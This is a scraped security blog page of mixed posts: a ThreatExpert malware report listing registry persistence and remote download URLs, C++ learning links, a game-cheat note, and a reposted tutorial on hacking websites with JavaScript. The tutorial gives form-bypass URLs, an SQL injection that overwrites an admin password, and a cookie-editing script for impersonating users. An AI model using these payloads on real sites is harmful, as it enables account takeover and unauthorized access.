    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}\InprocServer32]
      • (Default) = "%System%\ansb20.dll"
      • ThreadingModel = "Apartment"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}]
      • (Default) = "IEHlprObj Class"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj\CurVer]
      • (Default) = "IEHlprObj.IEHlprObj.1"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj]
      • (Default) = "IEHlprObj Class"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj.1\CLSID]
      • (Default) = "{C8414FA0-BA90-4600-B7EA-0CEFAF5A0636}"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IEHlprObj.IEHlprObj.1]
      • (Default) = "IEHlprObj Class"
    • [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks]
      • {B03A4BE6-5E5A-483E-B9B3-C484D4B20B72} = "hook dll rising"
    • [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
      • anhdo = "%System%\anhdo.exe"

      so that anhdo.exe runs every time Windows starts

 

Other details
  • Analysis of the file resources indicate the following possible country of origin:

China

  • There was registered attempt to establish connection with the remote host. The connection details are:

Remote Host Port Number
114.31.57.82 80

  • The data identified by the following URLs was then requested from the remote web server:
    • http://bebehouse.geniemom.com/images_old/board/play.txt
    • http://bebehouse.geniemom.com/images_old/board/copy.rar

 

 

All content ("Information") contained in this report is the copyrighted work of Threat Expert Ltd and its associated companies ("ThreatExpert") and may not be copied without the express permission of ThreatExpert.

The Information is provided on an "as is" basis. ThreatExpert disclaims all warranties, whether express or implied, to the maximum extent permitted by law, including the implied warranties that the Information is merchantable, of satisfactory quality, accurate, fit for a particular purpose or need, or non-infringing, unless such implied warranties are legally incapable of exclusion. Further, ThreatExpert does not warrant or make any representations regarding the use or the results of the use of the Information in terms of their correctness, accuracy, reliability, or otherwise.

Copyright © 2010 ThreatExpert. All rights reserved.


'Hacking' 카테고리의 다른 글

Java Applet Security Model  (0) 2010.04.23
SSH JAVA APPLET http://javassh.org/space/start  (1) 2010.04.23
Computer Security Consulting  (0) 2010.04.02
Update Snort  (0) 2010.03.04
BASE 2010.3.3. Wed  (1) 2010.03.04
Posted by CEOinIRVINE
l

'Hacking' 카테고리의 다른 글

SSH JAVA APPLET http://javassh.org/space/start  (1) 2010.04.23
Malware Analysis  (0) 2010.04.23
Update Snort  (0) 2010.03.04
BASE 2010.3.3. Wed  (1) 2010.03.04
Snort IDS Installation  (0) 2010.03.04
Posted by CEOinIRVINE
l

Learn C++

IT 2009. 10. 6. 07:31

A lot of people have been asking this question, and thats what this forum is flooded with. I was hoping to come into this forum and see a little bit of knowledge passed around; however, it hasn't been. So, since I have nothing better to do at the moment, I decided to compile a list of very helpful resources. Both from my own personal favorites as well as a few given from gameuser.

To start with, what do you want to use C/C++ for anyway?
If you want to start writing games, you're definately a far cry away from that. However, it wouldn't hurt to start now because it will take you time to learn anyway.

Game design/programming - To begin there have been a lot of suggestions by people, and the ones I consider reliable are real game programmers. From what GameDev.net, as well as a few programmers from Blizzard Entertainment have told me. They say your better off by just learning C++, mainly because that is the primary language for the graphical libs; DirectX, OpenGL, SDL, etc. However, it is true that C++ is a superset of C.

Also it has been recommended that before you get into DirectX and OpenGL kinda stuff, that you have a good undertanding of the Win32 API first, you don't need to know every little detail but it helps.


But lets get the party started by sharing a few very good C/C++ sites with extremely useful tutorials:

--- ALWAYS BEING UPDATED ---

Will be updated with more information, when information is found, or someone suggests a good link.


[Books]
The C Programming Language - Kernighan and Ritchie - Amazon.com - Google - PDF
Google - CHM
The C++ Programming Language - Stroustrup - Amazon.com -
Starting Out With C++: Standard Version - Gaddis - Amazon.com -
The Geometry Toolbox for Graphics and Modeling - Gerald E. Farin, Dianne Hansford - Amazon.com -
Programming Windows, Fifth Edition - Charles Petzold - Amazon.com -
Essential Mathematics for Games and Interactive Applications, First Edition : A Programmer's Guide - James M. Van Verth, Lars M. Bishop - Amazon.com -


[Newbie/No Programming Experience]
www.cprogramming.com -- Most commonly posted site for tutorials, decent in my opinion. It gives you a very quick and broad overview of the language.
www.cplusplus.com -- Decent beginners tutorials. However, like most books they use a lot of computer terms.
www.cpp-home.com -- Great site with lots of tutorials for all skill levels, when it's up that is...
www.morrowland.com - Same thing that GameTutorials.com was doing for free until they started charging you for the tutorials. The great part about this is you get them for FREE!
www.programmersheaven.com - Numerous tutorials that range from good to bad, and skilled to newbie.
www.programmingtutorials.com - Links to a LOT of other tutorials that are not yet listed here.
newdata.box.sk/bx/c/ - Site titled "Learn C++ in 21 Days"


[Intermediate]
NEHE.gamedev.net/ -- Decently written OpenGL tutorials, lacks a bit of function definition but good overall, and highly linked to. He has bad coding habits, so don't copy and paste the stuff, just use it for learning.
geosoft.no -- Once you've learned to program, you should start developing a good programming style so other programmers dont have to decode what you're trying to say. I agree with 80% of this document, so just use it as a guideline.
www.ultimategameprogramming.com - Very well written tutorials, they have a LARGE variety of them as well. Most of them are in the Demos section, they will be adding articles soon!
www.mevis.de/~uwe/opengl - Good reference for OpenGL Functions, similar setup to manpages.
www.glprogramming.com/red/ - Great site, full of content, and explains OpenGL VERY well.
www.glprogramming.com/blue/ - More technical than the red version, and again LOTS of content.
www.programmershelp.co.uk - Contains a lot of links to informational pages on the selected subject.
nexe.gamedev.net - NEWLY ADDED - The DirectX version of NeHe's tutorials.
www.xmission.com/~nate/ - An interesting way to teach OpenGL, havent tried it but I will soon. It's tutoring application that visually teaches you the library.
www.drunkenhyena.com - Great DirectX tutorials, however he uses a wrapper to teach you how to use them. So it's definately not a good way to learn.
www.glenmccl.com - NEWLY ADDED
www.codesampler.com - Decent place to get started on DirectX or OpenGL, coding by example, usually a bad way of learning, but thats why it's in the advanced section.
www.andypike.com - DirectX 8 Tutorials, however they are decently written. DirectX 8 was the last version to using the old fasion BitBlt() function.
msdn.microsoft.com - MSDN is ALWAYS a bookmark, and should be for ANY programmer.
www.opengl.org/resources/tutorials - OpenGL.org has a lot of resources, very helpful for OpenGL ofcourse.
www.eecs.tulane.edu/www/Terry/OpenGL - OpenGL tutorial that uses Language C.
www.humus.ca - A LOT OF TUTORIALS!
www.kegel.com/academy/ - NEWLY ADDED

[Advanced]
www.devmaster.net - Good tutorials, and very technical.
www.codeguru.com - A lot of topics are discussed here, very informational.
www.flipcode.com/tutorials/ - NEWLY ADDED - This one varies on skill levels, lots of advanced stuff here though.
http://mindprod.com/jgloss/unmain.html -- Programming as a profession? Want to keep your job? This documentation will help you write unmaintainable code, so if they fire you. They will have one hell of a time trying to figure out your code.

[Video Tutorials]
* I don't really think video tutorials teach a beginning user much, but some people might be able to learn from them. So, I decided to add this section to the list. *
ddrheaven.com/Tutorials - Video tutorial that is split into 16 parts. The guy has a UK Accent, and is not entirely boring to listen to. Submitted by kratos15

[C/C++ IDE's] - NEWLY ADDED
Codeblocks.org - Popular free IDE for both *nix and Win32
Microsoft Visual C++ Express - Another popular free IDE recommended, also if you plan on using this don't forget to download the Platform SDK
Eclipse - The famous Java IDE can also be a C/C++ IDE with a somewhat simple plug-in installation

[Graphic Libraries] - NEWLY ADDED
Game Hacking University - A great large listing of game hacking tutorials. Including tutorials on creating trainers in C/C++ as well as a few other hacks.

*** There is a variety of Game/Graphic Developement Engines and Libraries, I will just list a few that I have found ***

A lot more to come!


[Graphic Libraries]
LibSDL.org - Simple DirectMedia Layer (SDL) - Quick and easy to learn 2D Library, that also works very well with OpenGL
Allegro - Allegro - A lot like SDL, but not as "clean" as SDL

[Game/Graphic Engines]
Orge3D.org - Object-oriented Graphics Rendering Engine - 3D
Irrlicht.sourceforge.net - Irrlicht Engine Open Source - 3D
Alchemist's Game Library - Some what a library and somewhat an engine - 2D

Posted by CEOinIRVINE
l

This is Justin Choi who work for one of famous online game companies in US.
For the security purposes, I can't tell where I work for. However, I would like to talk about more real environments in gaming industry.

I am in charge of securing our system/applications.

We have so far two popular games, A and B.


Maybe, I would rather focuses more on hacking stuffs than talk about general things.


There are bunch of hacking groups that is currently aiming at our games.

Speed Hack
Lawn mower
God Mode
HP/SP control
Wall Hack

and ETC.

Mostly, they just use DLL injection skill by using injection tools. They just injected their own DLL into PE file (e.x. blahblah.exe).


I will cover more details soon or later.

Enjoy! :)


Posted by CEOinIRVINE
l

Let me know if you need security consulting service including penetration testings, system security checks and etc.

:)

counterhacker@gmail.com
Posted by CEOinIRVINE
l
To: bugtraq@securityfocus.com
Date: Wed, 09 Feb 2005 13:43:23 +0000

HACKING WITH JAVASCRIPT
hictor

This tutorial is an overview of how javascript can be used to bypass
simple/advanced html forms and how it can be used to override cookie/session
authentication.

SIMPLE HTML FORMS

1. Bypassing Required Fields

        Surely you have met a webpage that requires you to fill all fields in a
form in order to submit it. It is possible to bypass these types of
restrictions on any webpage. If you take a look at the webpage's source and
follow it down to the form's code, you will notice the onsubmit form
attribute. Hopefully by this time you have experienced the power of
javascript and you know that javascript has control over every single
element in a webpage, including forms.We can use javascript to our advantage
in every page we view for we can modify, delete, or add any element to the
webpage. In this case we wish to clear the form's onsubmit attribute in
order for the form to be submitted successfully.

        The onsubmit attribute generally points to a function that checks the form
to have the correct format. A function that does this may look something
like this:

                function formSubmit(x)
                {
                        if(x.email.value=="") return false;
                        return true;
                }

                ...

                <form name="spamform" method=post action="process.php" onsubmit="return
formSubmit(this);">
                ...
                </form>

        I will not go into great detail about how the formSubmit function works.
You should know that if the (textfield/optionfield/option/..) field is left
blank, the form will not be submitted to process.php. Now comes the moment
of truth, how do we modify the form so that onsubmit returns true everytime?
The way we can access the form with javascript and do this is:

                document.forms[x].onsubmit="return true;";

                or

                document.spamform.onsubmit="return true;";

        Both of these 'queries' will allow you to submit the form free of
restrictions. The secret is how to execute this. I do this using my
browser's Location bar. All you have to do is enter this text into the
location bar and press enter:

                javascript:document.spamform.onsubmit="return true;";

        The above statement will not work because the 'query' will return a value
javascript doesn't know what to do with it so it dumps the returned value on
the screen. We need a way to use this value and escape it from passing on to
javascript. I know the exact way to do this, with alert()!

                javascript:alert(document.spamform.onsubmit="return true;");

        You will see an alertbox with "return true;" instead of dumping this value
out to the webbrowser. Once you have executed this query you will be able to
enter whatever value into whatever field in spamform.

2. Changing Fields' Values

        If you have managed to change a form's onsubmit attribute to let you do
whatever the *** you want, what are the limits? Of course now you know that
you can modify the onsubmit attribute of a form from the location bar, same
goes for any attributes of any object in the page. This is how you can do
it:

                javascript:alert(document.spamform.fieldname.value="Dr_aMado was here!");

                or

                javascript:alert(document.forms[x].fieldname.value="Dr_aMado was here!");

        But of course, you already knew that. Didn't you? You can change the
values of pretty much anything inside a form, including radios, checkboxes,
selects, hidden values, buttons, anything!

SQL INJECTIONS

1. Using Forms to Your Advantage

        You probably already know about sql injection, my goal is to explain how
vulnerable forms can be if not handled correctly. When targeting a system,
most times you will start off with 0 code to exploit. The only thing you
have is a constructed webpage to break to pieces and successfully find
vulnerabilities to use to your advantage.

                ACQUIRING DATABASE INFORMATION

        A very logic way of acquiring system information from a website's database
is by causing errors in the sql queries. These errors can be created
through search forms, dynamic links, or session cookies. Most sql injection
papers explain how dynamic links and text boxes can be used to execute sql
queries but in my opinion, this vulnurability is more common in other input
types (select boxes, hidden fields, checkboxes and radio buttons, and
cookies!).

        Mixing data types generally crashes a webpage if it's not well coded. Take
for example a link to "memberinfo.php?o_id=1". If your goal is to crash that
page it would be a good idea to stick in a " or a ' in the o_id variable.
If you're lucky you will get a debug message containing the crippled sql
query. After you have all the information you need and you know what you're
going after you're ready to hack the hell out of every page that you have
access to.

                CHANGING FIELDS' VALUES

        The first form you think of is the profile page. Most profile pages ignore
a user's intellectuals and don't mask out,for example, select boxes. A way
of exploiting this vulnerability is by injecting a sql query in the value
property of the field.

                javascript:alert(document.profileform.user_sex.value="gay\',user_pasword=\'HACKED\'
WHERE user_id=1#");

        If we assume that the server side sql query looks something like this:

                "UPDATE user_data SET
user_password='$user_password',user_email='$user_email',user_sex='$user_sex'
WHERE user_id=$user_id";

                Then the final query will look somewhat like this:

                "UPDATE user_data SET
user_password='mypassword',user_email='myemail',user_sex='gay',user_password='HACKED'
WHERE
                user_id=1 #' WHERE user_id=7382";

                # Is a sql comment operator.

2. Bypassing Session Cookies

                OVERRIDING BASIC SESSION COOKIE AUTHENTICATION

        Most of the time session handling is done with the use of cookies. The
cookies tell the webpage who you are and what you have access to and what
you don't have access to. If the page does not handle session cookies
correctly a hacker might be able to change their identity to that of
another user's. Cookies are stored in "window.document.cookie". With
javascript we are able to erase,edit,create cookies for any website. This
task is more complicated than regular types of attacks. I will not go into
great detail about how it's done.

                To View the Cookie:
                        javascript:alert(unescape(document.cookie));

                To Change Cookie Data:

                        javascript:alert(window.c=function
a(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,((c.indexOf(";")>-1)
? c.indexOf(";") :
c.length));nc=unescape(c).replace(v,nv);document.cookie=n+"="+escape(nc);return
unescape(document.cookie);});alert(c(prompt("cookie
name:",""),prompt("replace this value:",""),prompt("with::","")));

                So If You are logged in as "John Doe" in www.ima13370h4x0r.net and your
session cookie reads:

                        SessionData=a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID";i:70202768;s:9:"LastVisit";i:1078367189;}

        The cookie is actually serialized but you should be able to recognize
"75959" as your user_id. Some of the time you will find a website that
stores data (like user_id) in cookies but does not typecast the data. This
is a serious hole in the site's code because any user is able to change
their user_id to any other user or administrator user_id.

        Changing the cookie value is easy once you have declared the window.c
function. First change s:5:"75959" to s:x:"ADMINID" where x is the length of
the new value. So if you want to change 75959 to 1. You must change
s:5:"75959" to s:1:"1" :-) Sometimes you will need to change 75959 to "13 or
1=1" in order to bypass any WHERE statements any sql session queries used to
keep you logged in the website.

----------------------------------------------------------------------------------------
Notes:
        In-line javascript statements can be added to your browser's favorites for
easier access to your own functions.
        It is possible to declare your own functions for use in extended hacks.
Declare the function as a method of window. "alert(window.newfunction =
function (){...})"
----------------------------------------------------------------------------------------

am hictor
lezr.com
thnk you rodhedor
hict0r@hotmail.com

'Hacking' 카테고리의 다른 글

Penetration Testing Service  (0) 2009.09.04
URL Encoding  (0) 2009.06.10
How to find Addresses in Gunz  (0) 2009.06.09
Lolhackerstic.dll (godmode)  (0) 2009.06.09
How to Hack a Yahoo Mail Password  (0) 2009.05.26
Posted by CEOinIRVINE
l
http://yangws13.myfeelclub.com/webhacking_game/quest3/index.htm


답:?

 <script language="VBscript">
 dim agesub button_onclick
 if form1.id.value = "Yangws13" then   
 if form1.pw.value = "MyNameisY.w.sImHacker" then      
 msgbox "%uAD00%uB9AC%uC790%uB2D8 %uD658%uC601%uD569%uB2C8%uB2E4.",
 vbinformation, "%uC131%uACF5"        
 age=form1.birth.value 
 if age=<80000 then  
 msgbox "%uD3EC%uD2B8(Port) %uAC00 %uC77C%uCE58%uD558%uC9C0%uC54A%uC2B5%uB2C8%uB2E4.",
 vbinformation, "%uC811%uC18D%uCC28%uB2E8"   
 location.href="from_no.htm"  
 exit sub 
 else  
 location.href="from_ok_areyou_wins.html" 
end if   
else     
 msgbox "%uB85C%uADF8%uC778%uC744 %uC2E4%uD328 %uD558%uC600%uC2B5%uB2C8%uB2E4.", vbcritical, "%uC2E4%uD328"   
end if  
else   
 msgbox "%uB85C%uADF8%uC778%uC744 %uC2E4%uD328 %uD558%uC600%uC2B5%uB2C8%uB2E4.", vbcritical, "%uC2E4%uD328"
end if
end sub
</script>

Posted by CEOinIRVINE
l

I have decided to keep my originality about all postings here. Internet is such a nice place to find information and share knowledge. I completely agree with that. However, sometimes I feel so bad that I don't write anything about my postings when I just copied and pasted somebody's useful information/postings.

At this posting, I would like to cover how to start as web penetration tester and how to be recognized by other professionals in same field.

First of all, I recommend you to visit OWASP web page.
(the free and open application security community)


http://www.owasp.org/index.php/Main_Page


And then, please visit following website for getting security basic information.

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project

Just download that project and unzip it.
You can find a lot of cheat sheets over there.
Those are very useful information for starter/beginner/wanna be security-professional.


After that, I would be SED/AWK guru who can analyze logs shortly.
That's the best way for you to get recognition from others.
They will respect you after noticing your fantastic analyzing and solving issues skills.


counterhacker@gmail.com

'Hacking' 카테고리의 다른 글

Technical Server Problem in Soldier Front By Mitch1490  (0) 2009.02.10
SF Hacking (Purple Folder)  (1) 2009.02.10
XSS Cheat Sheet  (0) 2009.02.06
CIS benchmarks  (0) 2009.02.06
Below is a list of resources you've selected:  (0) 2009.02.06
Posted by CEOinIRVINE
l